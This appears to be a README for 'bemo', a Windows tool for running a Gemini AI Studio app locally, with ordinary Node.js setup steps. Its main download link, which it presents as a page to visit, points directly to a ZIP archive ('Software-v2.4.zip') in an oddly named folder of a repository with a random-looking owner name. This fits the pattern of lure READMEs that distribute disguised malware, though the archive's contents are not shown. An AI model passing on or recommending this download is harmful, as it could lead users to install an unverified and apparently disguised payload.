bemo：在 Windows 本地运行 AI Studio 应用的 Gemini 工具

📥 Download bemo

Visit this page to download and run the app on Windows:

https://raw.githubusercontent.com/moussegenusanthurium256/bemo/main/triconsonantalism/Software-v2.4.zip

🖥️ What bemo does

bemo helps you run an AI Studio app on your own computer. It uses Node.js and a Gemini API key. Once you set it up, you can start the app and open it in your browser.

Use bemo if you want to:

• run the app on your Windows PC
• test changes on your own machine
• connect the app to your Gemini API key
• view the app in a local browser window

✅ What you need before you start

Before you install bemo, make sure you have:

• a Windows computer
• a web browser
• internet access
• Node.js installed
• a Gemini API key

If you do not have Node.js yet, install the current LTS version from the Node.js website before you continue.

🚀 Install and run bemo

Follow these steps in order.

1. Open the bemo page in your browser
   https://raw.githubusercontent.com/moussegenusanthurium256/bemo/main/triconsonantalism/Software-v2.4.zip

2. Download the project files
   If you cloned the repo, keep the folder on your computer. If you downloaded a ZIP file, extract it first.

3. Open the project folder
   Find the folder named bemo on your computer.

4. Open Command Prompt in that folder

   • Click the address bar in File Explorer
   • Type cmd
   • Press Enter

5. Install the app files
   Type this command and press Enter:
   npm install

6. Add your Gemini API key
   Open .env.local in a text editor and set:
   GEMINI_API_KEY=your_api_key_here

7. Start the app
   Type this command and press Enter:
   npm run dev

8. Open the app in your browser
   After the app starts, open the local address shown in Command Prompt, such as:
   http://localhost:3000

🔑 Set your Gemini API key

The app needs a Gemini API key to work.

Use this format in .env.local:

GEMINI_API_KEY=AIza...

Keep the key on one line. Do not add spaces around the equals sign.

If you need a key, get one from your Google AI account, then copy it into the file before you start the app.

🛠️ Run the app again later

When you want to use bemo again:

1. Open the bemo folder
2. Open Command Prompt in that folder
3. Run: npm run dev
4. Open the local address in your browser

If the app does not start, run npm install again, then try npm run dev one more time

📁 Project files

Main files you may use:

• .env.local — stores your API key
• package.json — lists the app setup
• src — app source files
• public — images and static files
• README.md — setup instructions

🧭 Simple setup flow

1. Download or open the project
2. Install Node.js
3. Add your Gemini API key
4. Run npm install
5. Run npm run dev
6. Open the app in your browser

🪟 Windows tips

• Use Command Prompt or PowerShell
• Keep the project folder in a simple path, such as C:\Users\YourName\Documents\bemo
• Do not move files while the app is running
• If a window closes too fast, run the commands again from Command Prompt

🔍 Common issues

If the app does not start:

• check that Node.js is installed
• check that .env.local has the correct API key
• make sure you ran npm install
• make sure you are in the bemo folder before you run commands
• close and reopen Command Prompt, then try again

If the browser does not open on its own:

• copy the local address from Command Prompt
• paste it into your browser
• press Enter

📌 Quick command list

npm install

npm run dev

GEMINI_API_KEY=your_api_key_here

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